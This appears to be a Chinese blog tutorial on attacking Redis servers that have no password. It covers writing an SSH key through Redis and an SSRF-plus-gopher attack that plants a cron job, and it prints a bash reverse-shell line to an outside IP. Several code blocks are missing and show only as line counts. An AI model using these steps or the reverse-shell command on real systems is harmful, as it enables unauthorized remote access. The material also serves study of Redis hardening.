0、一个预告
距上次更新公众号已经好久了,大部分空闲时间,都用在写一个跨平台的网(hei)站(ke)管(hei)理(zhan)工具——大方,可以认为是一个纯Python版的菜刀,除了基本的文件管理、数据库管理、虚拟终端外,增加了Http头定制、Cookie定制、自动内网代理功能,目前大体框架已基本完成,不久将以完全开源的形式公布,先来几张kali系统中运行效果图。
#华丽的分割线#一、Redis基础知识1、Redis无密码访问
3行
以上是Redis中文官网中对Redis安全性的介绍,可以看出如果管理员没有设置Redis访问密码,且绑定地址为0.0.0.0的话,那Redis将完全裸奔在公网或者内网,也就为本文介绍的两种攻击套路提供了可行性,注意无密码访问是下面两种攻击套路的前提!
2、利用Redis写文件
Redis中的数据默认存在内存中,可以通过Save命令将数据写入外存,数据保存的地址为配置文件中dir+dbfilename,如下图文件将保存在/home/hancool/dump.rdb文件中。
通过更改Redis的配置信息,如果权限允许,则可以通过Redis在任意位置写入任意文件,如下图可以在/root目录下写入test.txt文件。
3、Redis标准通信协议分析
Redis在TCP端口6379上监听到来的连接,客户端连接到来时,Redis服务器为此创建一个TCP连接。在客户端与服务器端之间传输的每个Redis命令或者数据都以\r\n结尾。
Redis接收由不同参数组成的命令。一旦收到命令,将会立刻被处理,并回复给客户端。新的统一协议已在Redis 1.2中引入,但是在Redis 2.0中,这就成为了与Redis服务器通讯的标准方式。
在这个统一协议里,发送给Redis服务端的所有参数都是二进制安全的。以下是通用形式:
7行
例子如下:
8行
客户端连接到Redis服务器后发送,如下字符串
*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$7\r\nmyvalue\r\n
等同于执行命令
redis-cli set mykey myvalue
二、Redis无密码访问攻击套路
1、密钥写入+SSH无密码登录
首先,在本地主机生成RSA密钥对
将公钥信息(id_rsa.pub)利用Redis写文件机制,写入远程主机特定目录(/root/.ssh/authorized_keys)。
使用本地私钥(id_rsa)登录远程主机,因为本地公钥已经上传至远程主机,远程主机通过公钥信息验证本地主机登录签名,即可完成认证,无需再输入密码。
2、SSRF+Gopher+反弹Shell
对于外网无法访问的Redis服务器,可以通过ssrf漏洞进行攻击,因为无法通过外网直接访问,所以通过SSH远程连接的攻击思路不再可行,可以通过反弹Shell的方式获取远程主机的访问权限。
假设http://remote.com/test?url=testvalue的url参数存在ssrf漏洞,构造gopher攻击payload为:
2行
向远程主机发送包含上述payload的url请求(http://remote.com/test?url=gopher...),因为远程主机存在ssrf漏洞,所以远程主机收到上述url请求后,会执行gopher协议,根据127.0.0.1:6379这个地址,将与Redis服务器的6379端口建立连接,发送如下数据:
2行
为便于阅读,将\r\n写为回车换行,如下:
31行
通过上文对Redis通信协议的分析,可知上述字符串发送到Redis服务器后,等同于执行如下命令:
上述命令的执行将会在/var/spool/cron/root中写入定时任务,定时任务的内容如下:
*/1 * * * * bash -i >& /dev/tcp/192.168.107.237/3333 0>&1
结果是,将会每分钟将本地Shell远程反弹到本地主机192.168.107.237的3333端口,我们在本地主机使用nc工具进行监听,即可获取远程服务器的操作权限,如下:
领取专属 10元无门槛券
私享最新 技术干货